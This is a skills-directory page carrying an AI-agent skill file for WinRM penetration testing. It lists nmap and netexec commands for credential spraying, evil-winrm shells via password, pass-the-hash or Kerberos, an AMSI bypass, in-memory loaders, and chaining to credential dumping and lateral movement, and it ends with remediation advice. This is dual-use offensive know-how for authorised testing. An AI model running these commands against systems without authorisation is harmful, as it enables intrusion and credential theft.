WinRM (5985/5986) pentesting — detect listeners, validate credentials, and get an interactive shell with evil-winrm using password, pass-the-hash, or Kerberos, plus in-memory loading and file transfer. Tier 1. Use when 5985/5986 is open and you hold any valid Windows credential or hash.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Winrm Pentest?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-winrm-pentest)
---
name: winrm-pentest
description: WinRM (5985/5986) pentesting — detect listeners, validate credentials, and get an interactive shell with evil-winrm using password, pass-the-hash, or Kerberos, plus in-memory loading and file transfer. Tier 1. Use when 5985/5986 is open and you hold any valid Windows credential or hash.
---
# WinRM Pentest
WinRM is Windows remote management over HTTP(S). With a valid credential, hash, or Kerberos ticket for a user in Remote Management Users / local admins, evil-winrm gives a full PowerShell shell with file transfer and in-memory script loading.
## Trigger phrases
`winrm, 5985, 5986, evil-winrm, pass the hash winrm, kerberos winrm, remote management, powershell remoting`
## Method
1. **Detect:** `nmap -p5985,5986 <IP>`; `nxc winrm <IP> -u user -p pass` (reports `(Pwn3d!)` when the account can execute).
2. **Validate creds across a range:** `nxc winrm <range> -u users.txt -p pass.txt --continue-on-success` (watch lockout).
3. **Interactive shell (password):** `evil-winrm -i <IP> -u user -p pass`.
4. **[Pass-the-Hash]:** `evil-winrm -i <IP> -u user -H <NTLMhash>` — no plaintext needed.
5. **[Kerberos]:** `export KRB5CCNAME=ticket.ccache; evil-winrm -i <host> -u user -r <REALM>` (`-k`) for ticket-based auth.
6. **HTTPS listener (5986):** add `-S` (and `-c`/`-k` for client cert) when only the TLS listener is up.
7. **In-session:** `upload`/`download`, `Bypass-4MSI`, and `-s <scripts>`/`Invoke-Binary` for in-memory loaders.
## Modern / rare techniques
- **Kerberos-only environments** — combine with AS-REP/TGT from the AD suite, then `evil-winrm -k`.
- **AMSI bypass in-session** (`Bypass-4MSI`) before loading tooling — see redteam-amsi-bypass.
- **Certificate auth (5986)** when password auth is disabled but a client cert/PFX is obtained.
## Escalation / chaining
Shell → windows-privesc, credential dumping (LSASS/SAM), token impersonation; creds/hashes from llmnr/relay/roasting feed this directly; foothold → lateral-movement/pivoting.
## Backend & tooling
Kali/WSL or HexStrike (evil-winrm/nxc/impacket). Works from a networked vantage; use a pivot for segmented targets.
## Verification (background, before reporting)
Confirm `(Pwn3d!)` with nxc AND an actual evil-winrm shell (run `whoami /all`); re-validate the credential/hash independently before reporting access; confirm admin vs non-admin context.
## Evidence
nxc output, evil-winrm session transcript (`whoami`, hostname), auth method used (pass/PtH/Kerberos), impact. Remediation: restrict WinRM to a management network, HTTPS listener only, disable Basic auth, least-privilege Remote Management Users, monitor 5985/5986.